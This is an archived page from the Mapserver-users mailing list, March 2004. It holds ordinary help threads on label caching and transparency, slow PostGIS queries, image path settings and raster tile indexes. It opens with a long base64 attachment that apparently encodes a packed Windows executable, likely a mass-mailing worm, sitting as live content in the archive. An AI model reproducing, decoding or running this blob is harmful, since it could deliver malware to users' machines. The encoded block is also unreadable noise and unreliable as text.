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 ----------551585871104782-- From eric at gomoos.org Fri Mar 26 08:24:12 2004 From: eric at gomoos.org (Eric Bridger) Date: 26 Mar 2004 11:24:12 -0500 Subject: [Mapserver-users] TRANSPARENCY + text embedded layer In-Reply-To: <4064505E.6010001@pobox.com> References: <1080314185.406449497b392@www.agi-lan.com> <4064505E.6010001@pobox.com> Message-ID: <1080318258.1523.4.camel@ubet.gomoos.org> On Fri, 2004-03-26 at 10:46, Frank Warmerdam wrote: > Jason M. Nielsen wrote: > > Does the TRANSPARENCY tag work with embedding text as part of the image as > > listed below or am I simply doing something wrong? > I don't know if there is a way to force text to render immediately rather > than saving it up, but if there is that is what you will need. You can use: LABELCACHE OFF in your LAYER definition. Default is ON. From TMitchell at lignum.com Fri Mar 26 08:29:57 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 26 Mar 2004 08:29:57 -0800 Subject: [Mapserver-users] One question survey - what group do you represent? Message-ID: I'm interested in knowing more about the user groups implementing MapServer, so I put together a single question survey. If you have 5 seconds, please register your anonymous vote at: http://misterpoll.com/3583485412.html Tyler From eric at gomoos.org Fri Mar 26 08:30:53 2004 From: eric at gomoos.org (Eric Bridger) Date: 26 Mar 2004 11:30:53 -0500 Subject: [Mapserver-users] postgis data statement In-Reply-To: <200403261314.i2QDExEe019004@lists.gis.umn.edu> References: <200403261314.i2QDExEe019004@lists.gis.umn.edu> Message-ID: <1080318659.1521.11.camel@ubet.gomoos.org> Gernot, I just want to confirm that I have experienced identical problems. I can't offer much help because I never solved them but did not have the time or knowledge to pursue it. Complicated subqueries in my DATA statements, or self-joins, sometimes just adding a small table to an existing geometry view. The SQL would work fine from psql but take forever using the mapserver/postgis API. Postgres FETCH processes would remain hanging and would have to be killed manually. So if you figure it out please let us know. My plan in the future is to upgrade all my software and try again. On Fri, 2004-03-26 at 08:14, Gernot Katzlberger wrote: > hi pericles, zamil & list, > > my postgis data statement works now in Mapserver, but it needs ~5 min to > render it. when I start it, 99% of my system cpu usage is occupied by one > process: > > postgres: {user} {database} 127.0.0.1 FETCH > > > when I execute it in psql it works in milliseconds. > mapserver and postgresql/postgis are on the same server. I also checked the > user privileges. > > many thanks for your help, > > gernot > > > > > -----Urspr?ngliche Nachricht----- > Von: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] Im Auftrag von Pericles > Nacionales > Gesendet: Donnerstag, 25. M?rz 2004 16:52 > An: Zamil Murji > Cc: knozi; mapserver-users at lists.gis.umn.edu > Betreff: RE: [Mapserver-users] postgis data statement > > Gernot, > > Zamil is correct. If the SQL statement worked in psql (or some other > frontend), it should work in MapServer. If not, the first place to check > would be your PostgreSQL configuration and permissions. If your database > is running remotely you might want to check that you have configured > postgres to accept remote connections. If that is the case, try > connecting as postgres (or whatever pg admin account you created). If it > works, read the PostgreSQL docs for adding users. Sometimes it's just a > matter of giving an existing database user select privileges on your > postgis tables. I've posted other messages to related questions in the > past. Have a look at the MapServer-users archive as I don't have a > browser open. > > Cheers! > > Pericles S. Nacionales > nacional at biosci.umn.edu > > > On Thu, 25 Mar 2004, Zamil Murji wrote: > > > hi, > > > > Maybe it isn't the data statement that is hooped. Maybe you don't have the > proper permissions set for the database. Does the user/password that you > supply to your connection string work? Is it a TRUSTed user? Maybe you need > to give the box that mapserver is installed on TRUSTed access to that > postgres db. Take a look at your pg_conf.hba file (i think that is what it > is called). > > > > Hope this helps. > > Zamil > > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of knozi > > Sent: Thursday, March 25, 2004 4:34 AM > > To: mapserver-users at lists.gis.umn.edu > > Subject: [Mapserver-users] postgis data statement > > > > > > hi list, > > i've some problems with a postgis data statement. > > > > DATA "the_geom from > > (select gd_world_samplesite.the_geom,td_samplesite.maxdepth,case > > when td_samplesite.maxdepth > 1000 then 1 > > when td_samplesite.maxdepth > 500 then 2 > > else 3 > > end as myclass > > from gd_world_samplesite,td_samplesite where > > gd_world_samplesite.ssid = td_samplesite.samplesiteid) > > as foo using unique gd_world_samplesite.oid using SRID=4326" > > > > when I execute the statement in postgres it works fine, but mapserver > cannot > > handle it. > > The funny thing is that a similar statement on the same server, but > > accessing another database, works. > > > > I'm using linux, postgresql 7.3.4, postgis 8.1 and Mapserver 4.1. > > > > any hints? > > > > thanks, > > gernot > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From nacional at cbs.umn.edu Fri Mar 26 08:46:00 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Fri, 26 Mar 2004 10:46:00 -0600 (CST) Subject: [Mapserver-users] mapserver 4 - postgis problem In-Reply-To: <14968.1080317894@www54.gmx.net> References: <14968.1080317894@www54.gmx.net> Message-ID: Check your web server's error log and see if there's anything related to MapServer. Chances are it says it can't find "/tmp/someimage.png" or something similar. Make sure your IMAGEPATH points to the proper absolute path to your temp directory and the IMAGEURL points to the proper path relative to your web server's root. Also, make sure to append the extra slash at the end of the path. Ex: IMAGEPATH '/data/tmp/' IMAGEURL '/tmp/' The path "/tmp/" should be referenced as an "Alias" (Virtual Directory) in your web server. If you don't want (or don't know how) to create an alias, just create the temp directory under your "htdocs" (or "wwwroot", in IIS) directory. Then you specify the IMAGEPATH and IMAGEURL like this: IMAGEPATH '/var/www/localhost/htdocs/tmp/' # change to your real path IMAGEURL '/tmp/' You do need to make sure that the web server user account can write to this temp directory (and not anywhere else). I hope this helps. -Perry N. On Fri, 26 Mar 2004, Stefan Donath wrote: > hi list, > > i am trying to view postgis 0.8.1 data with mapserver 4.0 but there is only > a big black page with a little red x in the upper left corner !!! :-(( !!! > > this is the layer section of my map file: > > LAYER > CONNECTIONTYPE postgis > NAME "owt_orte" > CONNECTION "user=postgres dbname=test2 host=128.xxx.x.x" > DATA "the_geom from owt_orte" > STATUS ON > TYPE POLYGON > CLASS > NAME "orte" > COLOR 255 0 0 > END > END > > what's wrong with that (i am totally new with both postgis AND mapserver!!)? > anybody out there with ideas??? > > thanx, stefan. > > -- > +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ > 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jnielsen at aero-graphics.com Fri Mar 26 09:02:49 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Fri, 26 Mar 2004 10:02:49 -0700 Subject: [Mapserver-users] TRANSPARENCY + text embedded layer In-Reply-To: <1080318258.1523.4.camel@ubet.gomoos.org> References: <1080314185.406449497b392@www.agi-lan.com> <4064505E.6010001@pobox.com> <1080318258.1523.4.camel@ubet.gomoos.org> Message-ID: <1080320569.40646239d2e60@www.agi-lan.com> Quoting Eric Bridger : > On Fri, 2004-03-26 at 10:46, Frank Warmerdam wrote: > > Jason M. Nielsen wrote: > > > Does the TRANSPARENCY tag work with embedding text as part of the image > as > > > listed below or am I simply doing something wrong? > > > I don't know if there is a way to force text to render immediately rather > > than saving it up, but if there is that is what you will need. > > You can use: LABELCACHE OFF in your LAYER definition. Default is ON. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Thanks for help everyone. Looks like POSTLABELCACHE set to true is what I am after. It allows the transparency to be applied and makes the text appear over the other elements. From TMitchell at lignum.com Fri Mar 26 09:27:54 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 26 Mar 2004 09:27:54 -0800 Subject: [Mapserver-users] Very quick survey of mapserver users Message-ID: I thought it would be good to know more about the user groups implementing MapServer, so I put together a single question survey. If you have 5 seconds, please register your anonymous vote at: http://misterpoll.com/3583485412.html Place your bets, who will get the most votes? -Web Developers -GIS Analyst -Digital Cartographers -Desktop Software Developers Tyler From MHoward at spaceimaging.com Fri Mar 26 10:12:33 2004 From: MHoward at spaceimaging.com (Howard Mark) Date: Fri, 26 Mar 2004 11:12:33 -0700 Subject: [Mapserver-users] tile indexing problem Message-ID: <13685000AB02F2479DF2C632B9B1988E7BF3E2@imager8.corp.spaceimaging.com> Toni, Are you including the complete path to the raster file in the index file? E.g. C:\data\raster\F4-N2.jpg Mark -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Antonio Cosenza Sent: Friday, March 26, 2004 5:14 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] tile indexing problem hi guys, i got a little problem with mapserver tile indexing. This is my situation: - i got a polygon shape file (raster.shp) of rectangular polygons with 9 attributes in the dbf file (raster.dbf). - one of the the attribute's names is 'Nome', which contains the raster file name, like F4-N2.jpg. can i use this layer to see my jpeg raster files draw up ? LAYER NAME "raster" STATUS ON TILEINDEX "ratser.shp" TILEITEM "Nome" TYPE RASTER END thanksss toni _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users *************************************************************************** This message is intended only for the use of the Addressee and may contain information that is PRIVILEGED and CONFIDENTIAL. If you are not the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, please erase all copies of the message and its attachments and notify Space Imaging immediately. *************************************************************************** From antonio.cosenza at polito.it Fri Mar 26 10:21:15 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 19:21:15 +0100 Subject: [Mapserver-users] tile indexing problem In-Reply-To: <13685000AB02F2479DF2C632B9B1988E7BF3E2@imager8.corp.spaceimaging.com> References: <13685000AB02F2479DF2C632B9B1988E7BF3E2@imager8.corp.spaceimaging.com> Message-ID: <4064749B.8060809@polito.it> mark, what do you mean for index file? shapefile? no, there is a fiield ("nome") with only the file names, without the full path... I'm runnign the system on Linux, so I have to include /var/www/... in the index file? thanks >Toni, >Are you including the complete path to the raster file in the index file? E.g. >C:\data\raster\F4-N2.jpg >Mark > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Antonio Cosenza >Sent: Friday, March 26, 2004 5:14 AM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] tile indexing problem > >hi guys, >i got a little problem with mapserver tile indexing. >This is my situation: > >- i got a polygon shape file (raster.shp) of rectangular polygons with 9 >attributes in the dbf file (raster.dbf). >- one of the the attribute's names is 'Nome', which contains the raster >file name, like F4-N2.jpg. > >can i use this layer to see my jpeg raster files draw up ? > > >LAYER > NAME "raster" > STATUS ON > TILEINDEX "ratser.shp" > TILEITEM "Nome" > TYPE RASTER > END > > >thanksss > >toni >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > >*************************************************************************** >This message is intended only for the use of the Addressee and may >contain information that is PRIVILEGED and CONFIDENTIAL. > >If you are not the intended recipient, you are hereby notified that any >dissemination of this communication is strictly prohibited. If you have >received this communication in error, please erase all copies of the >message and its attachments and notify Space Imaging immediately. >*************************************************************************** > > > > From MHoward at spaceimaging.com Fri Mar 26 10:30:30 2004 From: MHoward at spaceimaging.com (Howard Mark) Date: Fri, 26 Mar 2004 11:30:30 -0700 Subject: [Mapserver-users] tile indexing problem Message-ID: <13685000AB02F2479DF2C632B9B1988E7BF3E3@imager8.corp.spaceimaging.com> Toni, In your example, "ratser.shp" is the index (shape) file. Is the spelling right? The "Nome" attribute should contain the complete path to the raster file that the corresponding shape represents. Field1 Nome Shape1 /var/www/data/raster/F4-N2.jpg Shape2 /var/www/data/raster/F4-N3.jpg Shape3 /var/www/data/raster/F4-N4.jpg Mark -----Original Message----- From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] Sent: Friday, March 26, 2004 11:21 AM To: Howard Mark; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] tile indexing problem mark, what do you mean for index file? shapefile? no, there is a fiield ("nome") with only the file names, without the full path... I'm runnign the system on Linux, so I have to include /var/www/... in the index file? thanks >Toni, >Are you including the complete path to the raster file in the index file? E.g. >C:\data\raster\F4-N2.jpg >Mark > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Antonio Cosenza >Sent: Friday, March 26, 2004 5:14 AM >To: mapserver-users at 